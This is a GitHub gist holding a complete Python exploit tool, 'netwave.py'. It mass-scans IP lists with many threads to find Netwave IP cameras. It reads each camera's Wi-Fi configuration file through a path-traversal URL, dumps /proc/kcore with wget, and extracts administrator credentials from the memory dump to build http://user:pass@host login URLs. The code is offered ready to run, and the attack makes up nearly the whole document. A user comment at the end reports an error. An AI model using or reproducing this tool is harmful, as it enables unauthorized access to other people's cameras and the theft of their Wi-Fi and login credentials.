Skip to content

Instantly share code, notes, and snippets.

@grizmin
Created July 10, 2017 20:24
Show Gist options
  • Save grizmin/f69e97ba496bb9050949abfcc7094d54 to your computer and use it in GitHub Desktop.
Save grizmin/f69e97ba496bb9050949abfcc7094d54 to your computer and use it in GitHub Desktop.
netwave.py (logging)
#!/usr/bin/python
#
# by Grizmin, used spiritnull(at)sigaint.org exploit
# python3 and python2 compatible
import sys
import os
import time
import tailer
import signal
import subprocess
import psutil
import threading
from weakref import WeakValueDictionary, ref
import atexit
import weakref
import stopit
import datetime
import re
import copy
import socket
import argparse
import logging
if (sys.version_info > (3, 0)):
import urllib.request as urllib2
else:
import urllib2
# set up semaphores
screenLock = threading.Semaphore()
#add custom level
logging.THREAD = 25
logging.addLevelName(logging.THREAD, 'THREAD')
# set up logging
logger = logging.getLogger(name=__name__)
logger.thread = lambda msg, *args: logger._log(logging.THREAD, msg, args)
formatter = logging.Formatter("%(asctime)s:%(threadName)s:%(levelname)-5s: %(message)s")
debugformatter = logging.Formatter("%(asctime)s:%(threadName)s:%(levelname)+6s:%(funcName)s:%(lineno)s:%(message)s")
streamformater = logging.Formatter("%(levelname)s: %(message)s")
# debug log to file
debuglogfilehandler = logging.FileHandler(datetime.datetime.today().strftime('netwave-debug-%Y%m.log'), "a")
debuglogfilehandler.setLevel(logging.DEBUG)
debuglogfilehandler.setFormatter(debugformatter)
logger.addHandler(debuglogfilehandler)
# Log to stdout
logstreamhandler = logging.StreamHandler()
logstreamhandler.setLevel(logging.INFO)
logstreamhandler.setFormatter(streamformater)
logger.addHandler(logstreamhandler)
# thread log handler
infologfilehandler = logging.FileHandler(datetime.datetime.today().strftime('netwave-thread-%Y%m.log'), "a")
infologfilehandler.setLevel(logging.THREAD)
infologfilehandler.setFormatter(formatter)
logger.addHandler(infologfilehandler)
# info log handler
infologfilehandler = logging.FileHandler(datetime.datetime.today().strftime('netwave-%Y%m.log'), "a")
infologfilehandler.setLevel(logging.INFO)
infologfilehandler.setFormatter(formatter)
logger.addHandler(infologfilehandler)
logger.setLevel(logging.DEBUG)
class Counter(object):
def __init__(self, start=0):
self.lock = threading.Lock()
self.value = start
def increment(self):
self.lock.acquire()
try:
self.value = self.value + 1
finally:
self.lock.release()
class SafePrint():
def __init__(self, tp='info'):
self.screenLock = threading.Lock()
self.tp = tp.split(',')
def __call__(self, *args, **kwargs):
self.screenLock.acquire()
print("".join(args))
self.screenLock.release()
def sw(self, message, t='i'):
t = t.split()
self.screenLock.acquire()
if 'a' in t and 'always' in self.tp:
print(message)
elif 'i' in t and 'info' in self.tp:
print(message)
elif 'd' in t and 'debug' in self.tp:
print(message)
self.screenLock.release()
class MyThread(threading.Thread):
def __init__(self, group=None, target=None, name=None, args=(), kwargs=None, verbose=None):
super(MyThread, self).__init__(group=group, target=target, name=name, args=args, kwargs=kwargs)
self.threadLimiter = kwargs.pop('threadLimiter', None)
self.counter = kwargs.pop('counter', None)
self.screenLock = kwargs.pop('screenLock', None)
self.logger = logger or logging.getLogger(__name__)
# self.logger.setLevel(logging.INFO)
def run(self):
self.threadLimiter.acquire()
try:
self.counter.increment()
self.screenLock.acquire()
self.logger.thread('spawn thread #{}'.format(self.counter.value))
self.screenLock.release()
super(MyThread, self).run()
finally:
self.threadLimiter.release()
class SafeWrite():
def __init__(self, logfile=None, message=None, removeEmpty=False):
self.message = message
self.removeEmpty = removeEmpty
self.lock = threading.Lock()
self.logfile = self._init_log(logfile)
try:
self.fd = open(self.logfile, 'w+')
self.closed = False
except Exception as e:
raise Exception(e)
def __call__(self, message):
self.lock.acquire()
self.fd.write("{}\n".format(message))
self.fd.flush()
os.fsync(self.fd.fileno())
self.lock.release()
def _init_log(self, logfile):
if os.path.exists(os.path.join(os.getcwd(), '{}.txt'.format(logfile))):
timestamp = datetime.datetime.today().strftime('%Y%m%H%M%S%f')
logger.debug("{} already exists. Using new name {}".format(logfile+'.txt',logfile+"-"+timestamp))
m = re.match("(.*)(-\d+.txt)", logfile)
if m:
logfile = re.match("(.*)(-\d+.txt)", logfile).group(1)
logfile = '{}-{}'.format(logfile, timestamp)
return self._init_log(logfile)
else:
return '{}.txt'.format(logfile)
def close(self):
self.fd.seek(0, os.SEEK_END)
size = self.fd.tell()
if self.removeEmpty and not size:
logger.debug("removing empty logfile " + self.logfile)
os.system("rm -rf {}".format(self.logfile))
self.fd.close()
self.closed=True
def __exit__(self, *args):
self.close()
class Checker():
def __init__(self, request=None, SQ=None, screenLock=None, sw=None):
self.logger = logger or logging.getLogger(__name__)
self.screenLock = screenLock
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(2)
self.search_query = SQ
if not request:
self.request = "GET / HTTP/1.1\r\n\r\n"
else:
self.request = request
def _connect(self):
self.sock.connect_ex((self.ip_addr, self.port))
def _send_timeout(self, timeout=2):
self.sock.setblocking(0)
self.sock.settimeout(timeout)
try:
self.sock.sendall(self.request)
except socket.error:
self.logger.debug('{}:{} - Send failed'.format(self.ip_addr,self.port))
def _recv_timeout(self, timeout=3):
self.sock.setblocking(0)
total_data = [];
begin = time.time()
while 1:
# if you got some data, then break after wait sec
if total_data and time.time() - begin > timeout:
break
# if you got no data at all, wait a little longer
elif time.time() - begin > timeout * 2:
break
try:
data = self.sock.recv(8192)
if data:
total_data.append(data)
begin = time.time()
else:
time.sleep(0.1)
except Exception:
pass
return ''.join(total_data)
def check(self, host):
self.host = host
self.ip_addr = host.split(':')[0]
try:
self.port = int(host.split(':')[1])
except IndexError:
self.port = 80
if not self._connect():
self.logger.debug('{} - Connection successful.'.format(host))
self._send_timeout()
reply = self._recv_timeout()
if self.search_query in reply:
self.screenLock.acquire()
logger.debug('{} is a match.'.format(self.ip_addr))
self.screenLock.release()
return "{}:{}".format(self.ip_addr, self.port)
else:
self.logger.debug('{} - Connection can not be established'.format(host))
return None
def __call__(self, host):
return self.check(host)
class Exploiter(object):
_instances = WeakValueDictionary()
@property
def count(self):
return len(self._instances)
def __init__(self, host, batchmode=False):
self.logger = logger or logging.getLogger(__name__)
self.name = host
self.batchmode = batchmode
self._instances[id(self)] = self
logger.debug(self.name + ' instance created')
self.host = host
self.vdata = []
self.usable_data_found = False
self.ip_addr = host.split(':')[0]
try:
self.port = host.split(':')[1]
except IndexError:
self.port = 80
self.tcpstream = "tmpstream-{}_{}.bin".format(self.ip_addr,self.port)
self.stringsout = "tmpstrings-{}_{}.str".format(self.ip_addr,self.port)
self.statusurl = 'http://' + host + '/get_status.cgi'
self.wifi_info_url = "http://" + host + "//etc/RT2870STA.dat"
self._get_cam_info()
self._get_wifi_info()
def _get_cam_info(self):
if not self.batchmode:
self.logger.info('Getting camera information.')
try:
response = urllib2.urlopen(self.statusurl)
except urllib2.URLError as e:
self.logger.critical("Exception: {}".format(e))
exit(e)
self.logger.debug("Reading response in _get_cam_info")
content = response.read().decode('utf-8').split(";\n")
if content:
self.logger.debug("content red successfully.")
for line in content:
if line.startswith("var id="):
self.macaddr = line.split("'")[1]
if line.startswith("var alias="):
self.deviceid = line.split("'")[1]
def _get_wifi_info(self):
self.logger.info('Getting wireless information.')
self.wifi_info = {}
try:
response = urllib2.urlopen(self.wifi_info_url)
self.logger.debug("Reding content in _get_wifi_info")
content = response.read().decode('utf-8').split(";\n")
for line in content:
line = line.strip("[Default]\n").split('\n')
for d in line:
k,v = d.split("=")
self.wifi_info[k] = v
except Exception:
self.logger.info("wireless info unavailable.")
return self.wifi_info
@stopit.threading_timeoutable()
def exploit(self):
mac_trigger = False
self.linecount = 0
counter = 10
self.logger.info("Reading memory..")
self.logger.debug("Starting wget")
self.wget = subprocess.Popen("wget -qO- http://" + self.host + "//proc/kcore > {}".format(self.tcpstream), shell=True,
preexec_fn=os.setsid)
self.logger.debug('wget process started')
os.system('echo "" >{}'.format(self.stringsout))
time.sleep(1)
self.tail = subprocess.Popen("tail -f {} | strings >> {}".format(
self.tcpstream,self.stringsout), shell=True, preexec_fn=os.setsid)
try:
stringfd = open(self.stringsout, 'r')
self.logger.debug('{} - {} oppened.'.format(self.host,self.stringsout))
except Exception as e:
self.logger.critical('{} - {} failed to open.'.format(self.host, self.stringsout))
exit(1)
while counter > 0:
sys.stdout.flush()
if os.stat(self.stringsout).st_size <= 1024:
if not self.batchmode:
sys.stdout.write("binary data: " + str(os.stat(self.tcpstream).st_size) + "\r")
time.sleep(0.5)
else:
sys.stdout.flush()
self.logger.thread("{} - strings in binary data found.".format(self.host))
for line in tailer.follow(stringfd):
self.usable_data_found = True
sys.stdout.flush()
if not mac_trigger:
self.linecount += 1
if line == self.macaddr:
sys.stdout.flush()
mac_trigger = True
screenLock.acquire()
self.logger.thread("\n\n{} - mac address found in dump.".format(self.host))
screenLock.release()
else:
if not self.batchmode:
sys.stdout.write("Strings processed: " + str(self.linecount) + "\r")
elif counter > 0:
self.vdata.append(line)
counter -= 1
if counter == 0:
break
def get_access_urls(self):
if len(self.vdata):
return ['http://{}:{}@{}'.format(self.vdata[1], self.vdata[2], self.host),
'http://{}:{}@{}'.format(self.vdata[0], self.vdata[1], self.host),
'http://{}:{}@{}'.format(self.vdata[3], self.vdata[4], self.host)]
else:
return []
def cleanup(self):
self.logger.debug('\n{} - cleaning up..'.format(self.host))
if self.linecount > 9000 and not len(self.vdata):
self.logger.debug('\n{} - saving strings dump as it might be interesing.'.format(self.host))
os.system("cp {} int-{}-{}".format(self.stringsout, self.linecount, self.stringsout))
os.system("rm -rf {}".format(self.tcpstream))
os.system("rm -rf {}".format(self.stringsout))
if 'wget' in self.__dict__:
self.logger.info('{} - Terminating wget with pid {}'.format(self.host, self.wget.pid))
Exploiter.kill(self.wget.pid)
if 'tail' in self.__dict__:
self.logger.info('{} - Terminating tail with pid {}'.format(self.host, self.tail.pid))
Exploiter.kill(self.tail.pid)
def __enter__(self):
return self
def __exit__(self):
self.cleanup()
def __del__(self):
self.logger.debug("{} deleted.".format(self.name))
if self.count == 0:
self.logger.debug('Last Exploit object deleted')
else:
self.logger.debug(self.count, 'Exploit objects remaining')
@staticmethod
def kill(proc_pid):
process = psutil.Process(proc_pid)
for proc in process.children(recursive=True):
try:
proc.kill()
except psutil.NoSuchProcess:
pass
try:
process.kill()
except psutil.NoSuchProcess:
pass
def signal_handler(signal, frame):
print("Ctrl+c caught. Exiting..")
sys.exit(1)
signal.signal(signal.SIGINT, signal_handler)
def exploit(host, batchmode=False):
logger.info = lambda msg, *args: logger._log(logging.INFO, "{} - {}".format(host, msg), args)
logger.debug = lambda msg, *args: logger._log(logging.DEBUG, "{} - {}".format(host, msg), args)
try:
__retry = 2
__try = 1
ip_addr = host.split(':')[0]
try:
port = host.split(':')[1]
except IndexError:
port = 80
sw = SafeWrite('{}-{}'.format(ip_addr, port), removeEmpty=True)
cam = Exploiter(host, batchmode=batchmode)
timeout = 240
logger.info("Device MAC: {}".format(cam.macaddr))
logger.info("Device ID: {}".format(cam.deviceid))
logger.info("Wireless: {}".format(cam.wifi_info))
logger.debug("Running against - " + host)
cam.exploit(timeout=timeout)
with screenLock:
with open('processed.log', 'a+') as prfd:
logger.debug("Open - " + prfd)
prfd.write(host + '\n')
if cam.usable_data_found and len(cam.vdata):
sw("******* {} *******".format(host))
if cam.wifi_info:
sw(cam.wifi_info)
for i in cam.get_access_urls():
logger.debug("wifi_info=" + i)
sw(i)
for i in cam.vdata:
sw(i)
while __try <= __retry:
if len(cam.vdata):
break
elif not cam.usable_data_found and __try == 2:
break
screenLock.acquire()
logger.info("\nRetrying {} {}/{}".format(host, __try, __retry))
screenLock.release()
__try += 1
cam.cleanup()
cam.exploit(timeout=timeout)
except Exception as e:
logger.error("Exception: {}".format(e))
print(e)
finally:
if 'cam' in locals():
cam.cleanup()
if 'sw' in locals():
sw.close()
def main():
SQ = 'Netwave IP Camera'
parser = argparse.ArgumentParser()
parser.add_argument('--ip', help="format: IP:Port eg. 127.0.0.1:80")
parser.add_argument('--file','-f', type=argparse.FileType('r'), help='file with \'ip:port\n\' format.')
parser.add_argument('-b', '--batch', action='store_const', const=True, default=False)
parser.add_argument('--threads', '-t', const=50, nargs='?', type=int, metavar='threadnum', default=50)
parser.add_argument('--check','-C', action='store_const', const=True, default=False, help='checks alive IPs hosts from file.')
arg = parser.parse_args()
if arg.ip and arg.batch:
print('ERROR: IP and batch mode are not compatible')
parser.print_usage()
elif arg.ip and arg.file:
print('ERROR: Specify wither IP or file')
parser.print_usage()
elif arg.file and not arg.batch:
print('ERROR: File can\'t be specified without -b option')
elif arg.check and not arg.batch:
print('ERROR: Check mode must be used with batch mode and file (-b -f)')
if arg.batch:
if arg.check:
print("Running in check mode.")
ts_counter = Counter()
c_counter = Counter()
camips = []
def check(ip, ip_list):
c = Checker(SQ=SQ, screenLock=screenLock)
aliveip = c(ip)
if aliveip:
ip_list.append(aliveip)
threadLimiter = threading.Semaphore(arg.threads)
testips = set([line.strip("\n") for line in arg.file.readlines()])
threads = []
for i in testips:
threads.append(MyThread(name="Thread-"+i, target=check, args=(i, camips, ),
kwargs={'counter': c_counter, 'threadLimiter': threading.Semaphore(100),
'screenLock': screenLock}))
[t.start() for t in threads]
[t.join() for t in threads]
if arg.check:
logger.info('{} cameras alive'.format(len(camips)))
exit(0)
threads = []
print('Running against {} alive targets.'.format(len(camips)))
with open('processed.log', 'a+') as prfd:
prfd.write('Running against {} alive targets.\n'.format(len(camips)))
for i in camips:
threads.append(MyThread(name="Thread-{}".format(i),
target=exploit, args=(i, 'batchmode=arg.batch', ),
kwargs={'counter': ts_counter, 'threadLimiter': threadLimiter,
'screenLock': screenLock}))
# [t.setDaemon(True) for t in threads]
[t.start() for t in threads]
[t.join() for t in threads]
elif arg.ip:
host = arg.ip
exploit(host)
if __name__ == '__main__':
logger.info("Starting {} on {} with params: {}".format(sys.argv[0],
datetime.datetime.today(), sys.argv[1:]))
main()
@elbasha751
Copy link

after testing this code i get this error with single ip
ERROR: Exception: cannot concatenate 'str' and 'file' objects

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment